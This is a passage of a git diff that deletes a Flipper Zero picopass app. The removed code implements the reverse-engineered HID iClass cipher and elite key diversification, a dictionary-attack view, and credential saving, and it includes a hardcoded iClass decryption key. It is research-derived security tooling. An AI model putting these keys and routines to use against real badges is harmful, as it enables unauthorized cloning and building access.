csn[7]; - k[1] = csn[0] + csn[1] + csn[2] + csn[3] + csn[4] + csn[5] + csn[6] + csn[7]; - k[2] = loclass_rr(loclass_swap(csn[2] + k[1])); - k[3] = loclass_rl(loclass_swap(csn[3] + k[0])); - k[4] = ~loclass_rr(csn[4] + k[2]) + 1; - k[5] = ~loclass_rl(csn[5] + k[3]) + 1; - k[6] = loclass_rr(csn[6] + (k[4] ^ 0x3c)); - k[7] = loclass_rl(csn[7] + (k[5] ^ 0xc3)); - - k[7] &= 0x7F; - k[6] &= 0x7F; - k[5] &= 0x7F; - k[4] &= 0x7F; - k[3] &= 0x7F; - k[2] &= 0x7F; - k[1] &= 0x7F; - k[0] &= 0x7F; -} -/** -Definition 14. Define the rotate key function loclass_rk : (F 82 ) 8 × N → (F 82 ) 8 as -loclass_rk(x [0] . . . x [7] , 0) = x [0] . . . x [7] -loclass_rk(x [0] . . . x [7] , n + 1) = loclass_rk(loclass_rl(x [0] ) . . . loclass_rl(x [7] ), n) -**/ -static void loclass_rk(uint8_t* key, uint8_t n, uint8_t* outp_key) { - memcpy(outp_key, key, 8); - uint8_t j; - while(n-- > 0) { - for(j = 0; j < 8; j++) outp_key[j] = loclass_rl(outp_key[j]); - } - return; -} - -static mbedtls_des_context loclass_ctx_enc; -static mbedtls_des_context loclass_ctx_dec; - -static void loclass_desdecrypt_iclass(uint8_t* iclass_key, uint8_t* input, uint8_t* output) { - uint8_t key_std_format[8] = {0}; - loclass_permutekey_rev(iclass_key, key_std_format); - mbedtls_des_setkey_dec(&loclass_ctx_dec, key_std_format); - mbedtls_des_crypt_ecb(&loclass_ctx_dec, input, output); -} - -static void loclass_desencrypt_iclass(uint8_t* iclass_key, uint8_t* input, uint8_t* output) { - uint8_t key_std_format[8] = {0}; - loclass_permutekey_rev(iclass_key, key_std_format); - mbedtls_des_setkey_enc(&loclass_ctx_enc, key_std_format); - mbedtls_des_crypt_ecb(&loclass_ctx_enc, input, output); -} - -/** - * @brief Insert uint8_t[8] custom master key to calculate hash2 and return key_select. - * @param key unpermuted custom key - * @param loclass_hash1 loclass_hash1 - * @param key_sel output key_sel=h[loclass_hash1[i]] - */ -void loclass_hash2(uint8_t* key64, uint8_t* outp_keytable) { - /** - *Expected: - * High Security Key Table - - 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1 - 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21 - 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2 - 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C - 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6 - 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42 - 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95 - 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB - - **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ******/ - uint8_t key64_negated[8] = {0}; - uint8_t z[8][8] = {{0}, {0}}; - uint8_t temp_output[8] = {0}; - - //calculate complement of key - int i; - for(i = 0; i < 8; i++) key64_negated[i] = ~key64[i]; - - // Once again, key is on iclass-format - loclass_desencrypt_iclass(key64, key64_negated, z[0]); - - uint8_t y[8][8] = {{0}, {0}}; - - // y[0]=DES_dec(z[0],~key) - // Once again, key is on iclass-format - loclass_desdecrypt_iclass(z[0], key64_negated, y[0]); - - for(i = 1; i < 8; i++) { - loclass_rk(key64, i, temp_output); - loclass_desdecrypt_iclass(temp_output, z[i - 1], z[i]); - loclass_desencrypt_iclass(temp_output, y[i - 1], y[i]); - } - - if(outp_keytable != NULL) { - for(i = 0; i < 8; i++) { - memcpy(outp_keytable + i * 16, y[i], 8); - memcpy(outp_keytable + 8 + i * 16, z[i], 8); - } - } -} diff --git a/applications/external/picopass/lib/loclass/optimized_elite.h b/applications/external/picopass/lib/loclass/optimized_elite.h deleted file mode 100644 index 5343ebb07..000000000 --- a/applications/external/picopass/lib/loclass/optimized_elite.h +++ /dev/null @@ -1,58 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// More recently from https://github.com/RfidResearchGroup/proxmark3 -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#ifndef ELITE_CRACK_H -#define ELITE_CRACK_H - -#include -#include - -void loclass_permutekey(const uint8_t key[8], uint8_t dest[8]); -/** - * Permutes a key from iclass specific format to NIST format - * @brief loclass_permutekey_rev - * @param key - * @param dest - */ -void loclass_permutekey_rev(const uint8_t key[8], uint8_t dest[8]); -/** - * Hash1 takes CSN as input, and determines what bytes in the keytable will be used - * when constructing the K_sel. - * @param csn the CSN used - * @param k output - */ -void loclass_hash1(const uint8_t* csn, uint8_t* k); -void loclass_hash2(uint8_t* key64, uint8_t* outp_keytable); - -#endif diff --git a/applications/external/picopass/lib/loclass/optimized_ikeys.c b/applications/external/picopass/lib/loclass/optimized_ikeys.c deleted file mode 100644 index 1e6f12c56..000000000 --- a/applications/external/picopass/lib/loclass/optimized_ikeys.c +++ /dev/null @@ -1,320 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- - -/** -From "Dismantling iclass": - This section describes in detail the built-in key diversification algorithm of iClass. - Besides the obvious purpose of deriving a card key from a master key, this - algorithm intends to circumvent weaknesses in the cipher by preventing the - usage of certain ‘weak’ keys. In order to compute a diversified key, the iClass - reader first encrypts the card identity id with the master key K, using single - DES. The resulting ciphertext is then input to a function called loclass_hash0 which - outputs the diversified key k. - - k = loclass_hash0(DES enc (id, K)) - - Here the DES encryption of id with master key K outputs a cryptogram c - of 64 bits. These 64 bits are divided as c = x, y, z [0] , . . . , z [7] ∈ F 82 × F 82 × (F 62 ) 8 - which is used as input to the loclass_hash0 function. This function introduces some - obfuscation by performing a number of permutations, complement and modulo - operations, see Figure 2.5. Besides that, it checks for and removes patterns like - similar key bytes, which could produce a strong bias in the cipher. Finally, the - output of loclass_hash0 is the diversified card key k = k [0] , . . . , k [7] ∈ (F 82 ) 8 . - -**/ -#include "optimized_ikeys.h" - -#include -#include -#include -#include -#include "optimized_cipherutils.h" - -static const uint8_t loclass_pi[35] = {0x0F, 0x17, 0x1B, 0x1D, 0x1E, 0x27, 0x2B, 0x2D, 0x2E, - 0x33, 0x35, 0x39, 0x36, 0x3A, 0x3C, 0x47, 0x4B, 0x4D, - 0x4E, 0x53, 0x55, 0x56, 0x59, 0x5A, 0x5C, 0x63, 0x65, - 0x66, 0x69, 0x6A, 0x6C, 0x71, 0x72, 0x74, 0x78}; - -/** - * @brief The key diversification algorithm uses 6-bit bytes. - * This implementation uses 64 bit uint to pack seven of them into one - * variable. When they are there, they are placed as follows: - * XXXX XXXX N0 .... N7, occupying the last 48 bits. - * - * This function picks out one from such a collection - * @param all - * @param n bitnumber - * @return - */ -static uint8_t loclass_getSixBitByte(uint64_t c, int n) { - return (c >> (42 - 6 * n)) & 0x3F; -} - -/** - * @brief Puts back a six-bit 'byte' into a uint64_t. - * @param c buffer - * @param z the value to place there - * @param n bitnumber. - */ -static void loclass_pushbackSixBitByte(uint64_t* c, uint8_t z, int n) { - //0x XXXX YYYY ZZZZ ZZZZ ZZZZ - // ^z0 ^z7 - //z0: 1111 1100 0000 0000 - - uint64_t masked = z & 0x3F; - uint64_t eraser = 0x3F; - masked <<= 42 - 6 * n; - eraser <<= 42 - 6 * n; - - //masked <<= 6*n; - //eraser <<= 6*n; - - eraser = ~eraser; - (*c) &= eraser; - (*c) |= masked; -} -/** - * @brief Swaps the z-values. - * If the input value has format XYZ0Z1...Z7, the output will have the format - * XYZ7Z6...Z0 instead - * @param c - * @return - */ -static uint64_t loclass_swapZvalues(uint64_t c) { - uint64_t newz = 0; - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 0), 7); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 1), 6); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 2), 5); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 3), 4); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 4), 3); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 5), 2); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 6), 1); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 7), 0); - newz |= (c & 0xFFFF000000000000); - return newz; -} - -/** -* @return 4 six-bit bytes chunked into a uint64_t,as 00..00a0a1a2a3 -*/ -static uint64_t loclass_ck(int i, int j, uint64_t z) { - if(i == 1 && j == -1) { - // loclass_ck(1, −1, z [0] . . . z [3] ) = z [0] . . . z [3] - return z; - } else if(j == -1) { - // loclass_ck(i, −1, z [0] . . . z [3] ) = loclass_ck(i − 1, i − 2, z [0] . . . z [3] ) - return loclass_ck(i - 1, i - 2, z); - } - - if(loclass_getSixBitByte(z, i) == loclass_getSixBitByte(z, j)) { - //loclass_ck(i, j − 1, z [0] . . . z [i] ↠j . . . z [3] ) - uint64_t newz = 0; - int c; - for(c = 0; c < 4; c++) { - uint8_t val = loclass_getSixBitByte(z, c); - if(c == i) - loclass_pushbackSixBitByte(&newz, j, c); - else - loclass_pushbackSixBitByte(&newz, val, c); - } - return loclass_ck(i, j - 1, newz); - } else { - return loclass_ck(i, j - 1, z); - } -} -/** - - Definition 8. - Let the function check : (F 62 ) 8 → (F 62 ) 8 be defined as - check(z [0] . . . z [7] ) = loclass_ck(3, 2, z [0] . . . z [3] ) · loclass_ck(3, 2, z [4] . . . z [7] ) - - where loclass_ck : N × N × (F 62 ) 4 → (F 62 ) 4 is defined as - - loclass_ck(1, −1, z [0] . . . z [3] ) = z [0] . . . z [3] - loclass_ck(i, −1, z [0] . . . z [3] ) = loclass_ck(i − 1, i − 2, z [0] . . . z [3] ) - loclass_ck(i, j, z [0] . . . z [3] ) = - loclass_ck(i, j − 1, z [0] . . . z [i] ↠j . . . z [3] ), if z [i] = z [j] ; - loclass_ck(i, j − 1, z [0] . . . z [3] ), otherwise - - otherwise. -**/ - -static uint64_t loclass_check(uint64_t z) { - //These 64 bits are divided as c = x, y, z [0] , . . . , z [7] - - // loclass_ck(3, 2, z [0] . . . z [3] ) - uint64_t ck1 = loclass_ck(3, 2, z); - - // loclass_ck(3, 2, z [4] . . . z [7] ) - uint64_t ck2 = loclass_ck(3, 2, z << 24); - - //The loclass_ck function will place the values - // in the middle of z. - ck1 &= 0x00000000FFFFFF000000; - ck2 &= 0x00000000FFFFFF000000; - - return ck1 | ck2 >> 24; -} - -static void loclass_permute( - LoclassBitstreamIn_t* p_in, - uint64_t z, - int l, - int r, - LoclassBitstreamOut_t* out) { - if(loclass_bitsLeft(p_in) == 0) return; - - bool pn = loclass_tailBit(p_in); - if(pn) { // pn = 1 - uint8_t zl = loclass_getSixBitByte(z, l); - - loclass_push6bits(out, zl + 1); - loclass_permute(p_in, z, l + 1, r, out); - } else { // otherwise - uint8_t zr = loclass_getSixBitByte(z, r); - - loclass_push6bits(out, zr); - loclass_permute(p_in, z, l, r + 1, out); - } -} - -/** - * @brief - *Definition 11. Let the function loclass_hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as - * loclass_hash0(x, y, z [0] . . . z [7] ) = k [0] . . . k [7] where - * z'[i] = (z[i] mod (63-i)) + i i = 0...3 - * z'[i+4] = (z[i+4] mod (64-i)) + i i = 0...3 - * ẑ = check(z'); - * @param c - * @param k this is where the diversified key is put (should be 8 bytes) - * @return - */ -void loclass_hash0(uint64_t c, uint8_t k[8]) { - c = loclass_swapZvalues(c); - - //These 64 bits are divided as c = x, y, z [0] , . . . , z [7] - // x = 8 bits - // y = 8 bits - // z0-z7 6 bits each : 48 bits - uint8_t x = (c & 0xFF00000000000000) >> 56; - uint8_t y = (c & 0x00FF000000000000) >> 48; - uint64_t zP = 0; - - for(int n = 0; n < 4; n++) { - uint8_t zn = loclass_getSixBitByte(c, n); - uint8_t zn4 = loclass_getSixBitByte(c, n + 4); - uint8_t _zn = (zn % (63 - n)) + n; - uint8_t _zn4 = (zn4 % (64 - n)) + n; - loclass_pushbackSixBitByte(&zP, _zn, n); - loclass_pushbackSixBitByte(&zP, _zn4, n + 4); - } - - uint64_t zCaret = loclass_check(zP); - uint8_t p = loclass_pi[x % 35]; - - if(x & 1) //Check if x7 is 1 - p = ~p; - - LoclassBitstreamIn_t p_in = {&p, 8, 0}; - uint8_t outbuffer[] = {0, 0, 0, 0, 0, 0, 0, 0}; - LoclassBitstreamOut_t out = {outbuffer, 0, 0}; - loclass_permute(&p_in, zCaret, 0, 4, &out); //returns 48 bits? or 6 8-bytes - - //Out is now a buffer containing six-bit bytes, should be 48 bits - // if all went well - //Shift z-values down onto the lower segment - - uint64_t zTilde = loclass_x_bytes_to_num(outbuffer, sizeof(outbuffer)); - - zTilde >>= 16; - - for(int i = 0; i < 8; i++) { - // the key on index i is first a bit from y - // then six bits from z, - // then a bit from p - - // Init with zeroes - k[i] = 0; - // First, place yi leftmost in k - //k[i] |= (y << i) & 0x80 ; - - // First, place y(7-i) leftmost in k - k[i] |= (y << (7 - i)) & 0x80; - - uint8_t zTilde_i = loclass_getSixBitByte(zTilde, i); - // zTildeI is now on the form 00XXXXXX - // with one leftshift, it'll be - // 0XXXXXX0 - // So after leftshift, we can OR it into k - // However, when doing complement, we need to - // again MASK 0XXXXXX0 (0x7E) - zTilde_i <<= 1; - - //Finally, add bit from p or p-mod - //Shift bit i into rightmost location (mask only after complement) - uint8_t p_i = p >> i & 0x1; - - if(k[i]) { // yi = 1 - k[i] |= ~zTilde_i & 0x7E; - k[i] |= p_i & 1; - k[i] += 1; - - } else { // otherwise - k[i] |= zTilde_i & 0x7E; - k[i] |= (~p_i) & 1; - } - } -} -/** - * @brief Performs Elite-class key diversification - * @param csn - * @param key - * @param div_key - */ -void loclass_diversifyKey(uint8_t* csn, const uint8_t* key, uint8_t* div_key) { - mbedtls_des_context loclass_ctx_enc; - - // Prepare the DES key - mbedtls_des_setkey_enc(&loclass_ctx_enc, key); - - uint8_t crypted_csn[8] = {0}; - - // Calculate DES(CSN, KEY) - mbedtls_des_crypt_ecb(&loclass_ctx_enc, csn, crypted_csn); - - //Calculate HASH0(DES)) - uint64_t c_csn = loclass_x_bytes_to_num(crypted_csn, sizeof(crypted_csn)); - - loclass_hash0(c_csn, div_key); -} diff --git a/applications/external/picopass/lib/loclass/optimized_ikeys.h b/applications/external/picopass/lib/loclass/optimized_ikeys.h deleted file mode 100644 index f2711d31e..000000000 --- a/applications/external/picopass/lib/loclass/optimized_ikeys.h +++ /dev/null @@ -1,66 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// More recently from https://github.com/RfidResearchGroup/proxmark3 -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#ifndef IKEYS_H -#define IKEYS_H - -#include - -/** - * @brief - *Definition 11. Let the function loclass_hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as - * loclass_hash0(x, y, z [0] . . . z [7] ) = k [0] . . . k [7] where - * z'[i] = (z[i] mod (63-i)) + i i = 0...3 - * z'[i+4] = (z[i+4] mod (64-i)) + i i = 0...3 - * ẑ = check(z'); - * @param c - * @param k this is where the diversified key is put (should be 8 bytes) - * @return - */ -void loclass_hash0(uint64_t c, uint8_t k[8]); -/** - * @brief Performs Elite-class key diversification - * @param csn - * @param key - * @param div_key - */ - -void loclass_diversifyKey(uint8_t* csn, const uint8_t* key, uint8_t* div_key); -/** - * @brief Permutes a key from standard NIST format to Iclass specific format - * @param key - * @param dest - */ - -#endif // IKEYS_H diff --git a/applications/external/picopass/picopass.c b/applications/external/picopass/picopass.c deleted file mode 100644 index f984eec99..000000000 --- a/applications/external/picopass/picopass.c +++ /dev/null @@ -1,212 +0,0 @@ -#include "picopass_i.h" - -#define TAG "PicoPass" - -bool picopass_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - Picopass* picopass = context; - return scene_manager_handle_custom_event(picopass->scene_manager, event); -} - -bool picopass_back_event_callback(void* context) { - furi_assert(context); - Picopass* picopass = context; - return scene_manager_handle_back_event(picopass->scene_manager); -} - -void picopass_tick_event_callback(void* context) { - furi_assert(context); - Picopass* picopass = context; - scene_manager_handle_tick_event(picopass->scene_manager); -} - -Picopass* picopass_alloc() { - Picopass* picopass = malloc(sizeof(Picopass)); - - picopass->worker = picopass_worker_alloc(); - picopass->view_dispatcher = view_dispatcher_alloc(); - picopass->scene_manager = scene_manager_alloc(&picopass_scene_handlers, picopass); - view_dispatcher_enable_queue(picopass->view_dispatcher); - view_dispatcher_set_event_callback_context(picopass->view_dispatcher, picopass); - view_dispatcher_set_custom_event_callback( - picopass->view_dispatcher, picopass_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - picopass->view_dispatcher, picopass_back_event_callback); - view_dispatcher_set_tick_event_callback( - picopass->view_dispatcher, picopass_tick_event_callback, 100); - - // Picopass device - picopass->dev = picopass_device_alloc(); - - // Open GUI record - picopass->gui = furi_record_open(RECORD_GUI); - view_dispatcher_attach_to_gui( - picopass->view_dispatcher, picopass->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - picopass->notifications = furi_record_open(RECORD_NOTIFICATION); - - // Submenu - picopass->submenu = submenu_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, PicopassViewMenu, submenu_get_view(picopass->submenu)); - - // Popup - picopass->popup = popup_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, PicopassViewPopup, popup_get_view(picopass->popup)); - - // Loading - picopass->loading = loading_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, PicopassViewLoading, loading_get_view(picopass->loading)); - - // Text Input - picopass->text_input = text_input_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, - PicopassViewTextInput, - text_input_get_view(picopass->text_input)); - - // Custom Widget - picopass->widget = widget_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, PicopassViewWidget, widget_get_view(picopass->widget)); - - picopass->dict_attack = dict_attack_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, - PicopassViewDictAttack, - dict_attack_get_view(picopass->dict_attack)); - - return picopass; -} - -void picopass_free(Picopass* picopass) { - furi_assert(picopass); - - // Picopass device - picopass_device_free(picopass->dev); - picopass->dev = NULL; - - // Submenu - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewMenu); - submenu_free(picopass->submenu); - - // Popup - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewPopup); - popup_free(picopass->popup); - - // Loading - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewLoading); - loading_free(picopass->loading); - - // TextInput - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewTextInput); - text_input_free(picopass->text_input); - - // Custom Widget - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewWidget); - widget_free(picopass->widget); - - view_dispatcher_remove_view(picopass->view_dispatcher, PicopassViewDictAttack); - dict_attack_free(picopass->dict_attack); - - // Worker - picopass_worker_stop(picopass->worker); - picopass_worker_free(picopass->worker); - - // View Dispatcher - view_dispatcher_free(picopass->view_dispatcher); - - // Scene Manager - scene_manager_free(picopass->scene_manager); - - // GUI - furi_record_close(RECORD_GUI); - picopass->gui = NULL; - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - picopass->notifications = NULL; - - free(picopass); -} - -void picopass_text_store_set(Picopass* picopass, const char* text, ...) { - va_list args; - va_start(args, text); - - vsnprintf(picopass->text_store, sizeof(picopass->text_store), text, args); - - va_end(args); -} - -void picopass_text_store_clear(Picopass* picopass) { - memset(picopass->text_store, 0, sizeof(picopass->text_store)); -} - -static const NotificationSequence picopass_sequence_blink_start_cyan = { - &message_blink_start_10, - &message_blink_set_color_cyan, - &message_do_not_reset, - NULL, -}; - -static const NotificationSequence picopass_sequence_blink_stop = { - &message_blink_stop, - NULL, -}; - -void picopass_blink_start(Picopass* picopass) { - notification_message(picopass->notifications, &picopass_sequence_blink_start_cyan); -} - -void picopass_blink_stop(Picopass* picopass) { - notification_message(picopass->notifications, &picopass_sequence_blink_stop); -} - -void picopass_show_loading_popup(void* context, bool show) { - Picopass* picopass = context; - TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - - if(show) { - // Raise timer priority so that animations can play - vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewLoading); - } else { - // Restore default timer priority - vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); - } -} - -static void picopass_migrate_from_old_folder() { - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_common_migrate(storage, "/ext/picopass", STORAGE_APP_DATA_PATH_PREFIX); - furi_record_close(RECORD_STORAGE); -} - -bool picopass_is_memset(const uint8_t* data, const uint8_t pattern, size_t size) { - bool result = size > 0; - while(size > 0) { - result &= (*data == pattern); - data++; - size--; - } - return result; -} - -int32_t picopass_app(void* p) { - UNUSED(p); - picopass_migrate_from_old_folder(); - - Picopass* picopass = picopass_alloc(); - - scene_manager_next_scene(picopass->scene_manager, PicopassSceneStart); - - view_dispatcher_run(picopass->view_dispatcher); - - picopass_free(picopass); - - return 0; -} \ No newline at end of file diff --git a/applications/external/picopass/picopass.h b/applications/external/picopass/picopass.h deleted file mode 100644 index a1a87d7f8..000000000 --- a/applications/external/picopass/picopass.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -typedef struct Picopass Picopass; diff --git a/applications/external/picopass/picopass_device.c b/applications/external/picopass/picopass_device.c deleted file mode 100644 index de43b0bb7..000000000 --- a/applications/external/picopass/picopass_device.c +++ /dev/null @@ -1,380 +0,0 @@ -#include "picopass_device.h" - -#include -#include -#include - -#define TAG "PicopassDevice" - -static const char* picopass_file_header = "Flipper Picopass device"; -static const uint32_t picopass_file_version = 1; - -const uint8_t picopass_iclass_decryptionkey[] = - {0xb4, 0x21, 0x2c, 0xca, 0xb7, 0xed, 0x21, 0x0f, 0x7b, 0x93, 0xd4, 0x59, 0x39, 0xc7, 0xdd, 0x36}; - -PicopassDevice* picopass_device_alloc() { - PicopassDevice* picopass_dev = malloc(sizeof(PicopassDevice)); - picopass_dev->dev_data.pacs.legacy = false; - picopass_dev->dev_data.pacs.se_enabled = false; - picopass_dev->dev_data.pacs.elite_kdf = false; - picopass_dev->dev_data.pacs.pin_length = 0; - picopass_dev->storage = furi_record_open(RECORD_STORAGE); - picopass_dev->dialogs = furi_record_open(RECORD_DIALOGS); - picopass_dev->load_path = furi_string_alloc(); - return picopass_dev; -} - -void picopass_device_set_name(PicopassDevice* dev, const char* name) { - furi_assert(dev); - - strlcpy(dev->dev_name, name, PICOPASS_DEV_NAME_MAX_LEN); -} - -static bool picopass_device_save_file( - PicopassDevice* dev, - const char* dev_name, - const char* folder, - const char* extension, - bool use_load_path) { - furi_assert(dev); - - bool saved = false; - FlipperFormat* file = flipper_format_file_alloc(dev->storage); - PicopassPacs* pacs = &dev->dev_data.pacs; - PicopassBlock* AA1 = dev->dev_data.AA1; - FuriString* temp_str; - temp_str = furi_string_alloc(); - - do { - if(use_load_path && !furi_string_empty(dev->load_path)) { - // Get directory name - path_extract_dirname(furi_string_get_cstr(dev->load_path), temp_str); - // Make path to file to save - furi_string_cat_printf(temp_str, "/%s%s", dev_name, extension); - } else { - // First remove picopass device file if it was saved - furi_string_printf(temp_str, "%s/%s%s", folder, dev_name, extension); - } - // Open file - if(!flipper_format_file_open_always(file, furi_string_get_cstr(temp_str))) break; - - if(dev->format == PicopassDeviceSaveFormatHF) { - uint32_t fc = pacs->record.FacilityCode; - uint32_t cn = pacs->record.CardNumber; - // Write header - if(!flipper_format_write_header_cstr(file, picopass_file_header, picopass_file_version)) - break; - if(pacs->record.valid) { - if(!flipper_format_write_uint32(file, "Facility Code", &fc, 1)) break; - if(!flipper_format_write_uint32(file, "Card Number", &cn, 1)) break; - if(!flipper_format_write_hex( - file, "Credential", pacs->credential, PICOPASS_BLOCK_LEN)) - break; - if(pacs->pin_length > 0) { - if(!flipper_format_write_hex(file, "PIN\t\t", pacs->pin0, PICOPASS_BLOCK_LEN)) - break; - if(!flipper_format_write_hex( - file, "PIN(cont.)\t", pacs->pin1, PICOPASS_BLOCK_LEN)) - break; - } - } - // TODO: Add elite - if(!flipper_format_write_comment_cstr(file, "Picopass blocks")) break; - bool block_saved = true; - - size_t app_limit = AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0] < PICOPASS_MAX_APP_LIMIT ? - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0] : - PICOPASS_MAX_APP_LIMIT; - for(size_t i = 0; i < app_limit; i++) { - furi_string_printf(temp_str, "Block %d", i); - if(!flipper_format_write_hex( - file, furi_string_get_cstr(temp_str), AA1[i].data, PICOPASS_BLOCK_LEN)) { - block_saved = false; - break; - } - } - if(!block_saved) break; - } else if(dev->format == PicopassDeviceSaveFormatLF) { - const char* lf_header = "Flipper RFID key"; - // Write header - if(!flipper_format_write_header_cstr(file, lf_header, 1)) break; - if(!flipper_format_write_comment_cstr( - file, - "This was generated from the Picopass plugin and may not match current lfrfid")) - break; - // When lfrfid supports more formats, update this - if(!flipper_format_write_string_cstr(file, "Key type", "H10301")) break; - uint8_t H10301[3] = {0}; - H10301[0] = pacs->record.FacilityCode; - H10301[1] = pacs->record.CardNumber >> 8; - H10301[2] = pacs->record.CardNumber & 0x00FF; - if(!flipper_format_write_hex(file, "Data", H10301, 3)) break; - } - saved = true; - } while(0); - - if(!saved) { - dialog_message_show_storage_error(dev->dialogs, "Can not save\nfile"); - } - furi_string_free(temp_str); - flipper_format_free(file); - return saved; -} - -bool picopass_device_save(PicopassDevice* dev, const char* dev_name) { - if(dev->format == PicopassDeviceSaveFormatHF) { - return picopass_device_save_file( - 